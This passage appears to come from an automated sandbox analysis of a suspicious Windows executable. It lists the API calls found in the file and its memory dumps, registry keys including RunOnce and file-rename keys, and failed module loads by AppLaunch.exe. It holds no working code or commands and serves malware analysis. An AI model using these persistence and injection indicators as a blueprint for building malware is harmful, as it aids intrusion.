"SleepConditionVariableCS"; Source: "00000000-00002064.00000001.71538.00121000.00000020.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00002064.00000001.71538.00121000.00000020.mdmp") Found reference to API (Indicator: "RtlDllShutdownInProgress"; Source: "00000000-00002064.00000001.71538.00121000.00000020.mdmp") Found reference to API (Indicator: "MessageBoxW"; Source: "00000000-00002064.00000001.71538.00121000.00000020.mdmp") Found reference to API (Indicator: "LoadIconW"; Source: "00000000-00002064.00000001.71538.00121000.00000020.mdmp") Found reference to API (Indicator: "TranslateMessage"; Source: "00000000-00002064.00000001.71538.00121000.00000020.mdmp") Found reference to API (Indicator: "DispatchMessageW"; Source: "00000000-00002064.00000001.71538.00121000.00000020.mdmp") Found reference to API (Indicator: "RegisterClassW"; Source: "00000000-00002064.00000001.71538.00121000.00000020.mdmp") Found reference to API (Indicator: "DestroyWindow"; Source: "00000000-00002064.00000001.71538.00121000.00000020.mdmp") Found reference to API (Indicator: "CreateWindowExW"; Source: "00000000-00002064.00000001.71538.00121000.00000020.mdmp") Found reference to API (Indicator: "GetWindow"; Source: "00000000-00002064.00000001.71538.00121000.00000020.mdmp") Found reference to API (Indicator: "DefWindowProcW"; Source: "00000000-00002064.00000001.71538.00121000.00000020.mdmp") Found reference to API (Indicator: "LoadCursorW"; Source: "00000000-00002064.00000001.71538.00121000.00000020.mdmp") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "AreFileApisANSI"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringEx"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "GlobalUnlock"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "OpenClipboard"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "EmptyClipboard"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "SetClipboardData"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "CloseClipboard"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "GetClipboardData"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "InitializeSListHead"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "InterlockedFlushSList"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "RtlUnwind"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileExW"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "IsValidCodePage"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "GetACP"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "GetOEMCP"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "GetCPInfo"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineA"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringW"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "GetStringTypeW"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "SetStdHandle"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleCP"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointerEx"; Source: "00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API (Indicator: "CheckTokenMembership"; Source: "00000000-00002300.00000000.67631.01151000.00000020.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00002300.00000000.67631.01151000.00000020.mdmp") Found reference to API (Indicator: "DecryptFileA"; Source: "00000000-00002300.00000000.67631.01151000.00000020.mdmp") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "FreeSid"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "LookupPrivilegeValueA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "EqualSid"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "GetShortPathNameA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "CompareStringA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "GlobalFree"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "WritePrivateProfileStringA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "IsDBCSLeadByte"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileIntA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileStringA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "GlobalUnlock"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "GetDriveTypeA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "SetFileTime"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "FindResourceA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "GetVolumeInformationA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentDirectoryA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "FreeResource"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "GetVersion"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "SetCurrentDirectoryA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "TerminateThread"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "GetTempFileNameA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "DosDateTimeToFileTime"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "CreateEventA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "GetExitCodeProcess"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "GetDeviceCaps"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "GetDesktopWindow"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "CharUpperA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "ExitWindowsEx"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "MessageBeep"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "CharPrevA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "LoadStringA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "CharNextA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "EnableWindow"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "SetForegroundWindow"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "PeekMessageA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "SendMessageA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowTextA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowLongA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "CallWindowProcA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowLongA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "ShowWindow"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowPos"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "GetDC"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowRect"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "DispatchMessageA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "EnumResourceLanguagesA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "MulDiv"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp")3f:T77e,Found reference to API "SizeofResource" (Indicator: "SizeofResource"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "FindResourceA" (Indicator: "FindResource"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "FreeResource" (Indicator: "FreeResource"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "LockResource" (Indicator: "LockResource"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "LoadResource" (Indicator: "LoadResource"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "FindResourceA" (Indicator: "FindResource"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "FreeResource" (Indicator: "FreeResource"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API "FindResourceA" (Indicator: "FindResource"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API "FreeResource" (Indicator: "FreeResource"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp")40:T70e,Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00000768.00000000.67574.00850000.00000004.mdmp, 00000000-00000768.00000001.69492.00850000.00000004.mdmp, 00000000-00000768.00000002.71414.00850000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00000768.00000000.67574.00850000.00000004.mdmp, 00000000-00000768.00000001.69492.00850000.00000004.mdmp, 00000000-00000768.00000002.71414.00850000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00000768.00000000.67574.00850000.00000004.mdmp, 00000000-00000768.00000001.69492.00850000.00000004.mdmp, 00000000-00000768.00000002.71414.00850000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00000768.00000000.67574.00850000.00000004.mdmp, 00000000-00000768.00000001.69492.00850000.00000004.mdmp, 00000000-00000768.00000002.71414.00850000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00001224.00000000.68864.02F70000.00000004.mdmp")41:T4d6,Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") file/memory contains long string with (Indicator: "OpenProcess"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") file/memory contains long string with (Indicator: "OpenProcess"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API "NtOpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcess"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp")42:T405,Found reference to API "GetLastError" (Indicator: "GetLastError"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp, 00000000-00002064.00000001.71538.6F34F000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp")43:Ta68,"Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: b04b96a73e3f5d5ab5cd20b1151f47ad.exe "DSystem\CurrentControlSet\Control\Session Manager" in Source: b04b96a73e3f5d5ab5cd20b1151f47ad.exe "Software\Microsoft\Windows\CurrentVersion\RunOnce" in Source: b04b96a73e3f5d5ab5cd20b1151f47ad.exe "System\CurrentControlSet\Control\Session Manager\FileRenameOperations" in Source: b04b96a73e3f5d5ab5cd20b1151f47ad.exe "System\CurrentControlSet\Control\Session Manager" in Source: 61239-17-0040256D "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 20611-159-0097D560 "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 20611-194-00978190 "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 20611-194-00978190 "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 20611-194-00978190 "SOFTWARE\Microsoft\PowerShell" in Source: 20611-207-00978AF0 "SOFTWARE\Microsoft\PowerShell\3" in Source: 20611-196-0097BFA2 "Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: 00000000-00000768.00000002.71414.01311000.00000020.mdmp "\REGISTRY\MACHINE\Software\Microsoft\WindowsRuntime" in Source: 00000000-00001224.00000000.68864.02F70000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-735145574-3570218355-1207" in Source: 00000000-00001224.00000000.68864.02F70000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001224.00000000.68864.02F70000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3" in Source: 00000000-00001224.00000000.68864.02F70000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4" in Source: 00000000-00001224.00000000.68864.02F70000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00001224.00000000.68864.02F70000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1" in Source: 00000000-00001224.00000000.68864.02F70000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{66742402-F9B9-11D1-A202-0000F81FEDEE}\OverrideFileSystemProperties" in Source: 00000000-00001224.00000000.68864.02F70000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00001224.00000000.68864.02F70000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: 00000000-00002300.00000000.67631.01151000.00000020.mdmp44:T9e7,"AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; 